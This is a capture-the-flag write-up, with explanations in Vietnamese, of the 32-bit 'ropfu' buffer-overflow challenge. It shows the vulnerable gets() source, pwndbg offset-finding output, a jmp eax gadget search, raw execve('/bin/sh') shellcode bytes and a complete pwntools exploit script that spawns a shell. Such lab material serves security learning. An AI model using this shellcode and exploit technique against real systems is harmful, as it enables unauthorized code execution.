pwn - ropfu
What's ROP?
November 4, 2025
•
October 14, 2025
•
Hard
Source Code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}Mitigation

Solve
pwndbg> cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/ubuntu/ctf/ropfu/vuln
Program received signal SIGSEGV, Segmentation fault.
0x61616168 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────
EAX 0xffffcf00 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
EBX 0x61616166 ('faaa')
ECX 0x80e5300 (_IO_2_1_stdin_) ◂— 0xfbad2288
EDX 0xffffcf64 ◂— 0
EDI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
ESI 0x80e5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0
EBP 0x61616167 ('gaaa')
ESP 0xffffcf20 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
EIP 0x61616168 ('haaa')
─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────
Invalid address 0x61616168
─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcf20 ◂— 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
01:0004│ 0xffffcf24 ◂— 'jaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
02:0008│ 0xffffcf28 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
03:000c│ 0xffffcf2c ◂— 'laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
04:0010│ 0xffffcf30 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
05:0014│ 0xffffcf34 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
06:0018│ 0xffffcf38 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
07:001c│ 0xffffcf3c ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────
► 0 0x61616168 None
1 0x61616169 None
2 0x6161616a None
3 0x6161616b None
4 0x6161616c None
5 0x6161616d None
6 0x6161616e None
7 0x6161616f None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg> cyclic -l 0x61616168
Finding cyclic pattern of 4 bytes: b'haaa' (hex: 0x68616161)
Found at offset 28
pwndbg> cyclic -l aaaa
Finding cyclic pattern of 4 bytes: b'aaaa' (hex: 0x61616161)
Found at offset 0
pwndbg> cyclic -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32Lúc này return address cách buffer 28 byte, thanh ghi eax thì trỏ đến buffer, còn esp thì đang trỏ đến ngay sau return address.
Chúng ta có thể nghĩ đến việc ghi một shellcode ngắn (23 byte) vào đầu buffer và dùng gadget jmp eax:
ubuntu@hungnt-PC:~/ctf/ropfu$ ROPgadget --bin ./vuln | grep ": jmp eax"
0x0805333b : jmp eaxsh = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = sh.ljust(28, b'\0')
payload += p32(0x0805333b)Tuy nhiên, cách này gây sigsegv bởi vì trong lúc thực thi shellcode có sử dụng đến stack, nên nó tự ghi đè chính mình và tự làm hỏng.
Thay vì ghi shellcode vào đầu buffer, chúng ta thử ghi shellcode vào ngay sau return address, được esp trỏ đến. Nhưng lại không có gadget jmp esp nào.
ubuntu@hungnt-PC:~/ctf/ropfu$ ROPgadget --bin ./vuln | grep "jmp esp"
ubuntu@hungnt-PC:~/ctf/ropfu$Chúng ta có thể ghi một jmp esp vào đầu buffer, ghi jmp rax vào return address và ngay sau đó là shellcode mở shell:
payload = asm("jmp esp").ljust(28, b'\0')
payload += p32(0x0805333b)
payload += shScript
from pwn import *
context.binary = './vuln'
p = process('./vuln')
sh = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
payload = asm('jmp esp').ljust(28, b'\0')
payload += p32(0x0805333b)
payload += sh
p.sendline(payload)
p.interactive()